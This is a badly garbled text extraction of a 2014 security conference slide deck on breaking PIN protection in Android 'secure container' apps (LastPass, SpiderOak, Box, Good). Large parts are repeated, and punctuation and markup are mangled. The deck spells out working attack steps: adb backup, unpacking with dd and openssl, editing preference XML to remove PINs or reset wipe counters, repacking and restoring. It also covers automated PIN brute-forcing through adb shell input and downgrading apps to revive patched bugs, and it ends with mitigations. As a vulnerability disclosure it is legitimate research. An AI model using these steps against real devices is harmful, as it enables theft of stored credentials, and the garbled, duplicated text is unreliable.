bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 24: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 25: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

